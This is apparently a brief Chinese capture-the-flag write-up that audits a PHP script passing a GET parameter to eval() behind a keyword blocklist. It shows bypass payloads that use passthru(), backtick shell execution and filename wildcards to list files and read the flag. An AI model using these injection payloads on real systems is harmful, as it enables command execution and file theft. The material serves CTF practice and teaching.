代码审计
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
//这里对system/php增加了过滤
}else{
highlight_file(__FILE__);
}
考虑其他系统执行函数进行绕过,还可以用反引号作为系统命令
?c=passthru('ls');
#反引号作为系统命令
?c=`cp fla?.??? 1.txt`;
- 因为过滤了
php
,flag
,这里用通配符来,查看flag
?c=passthru('cat fla*');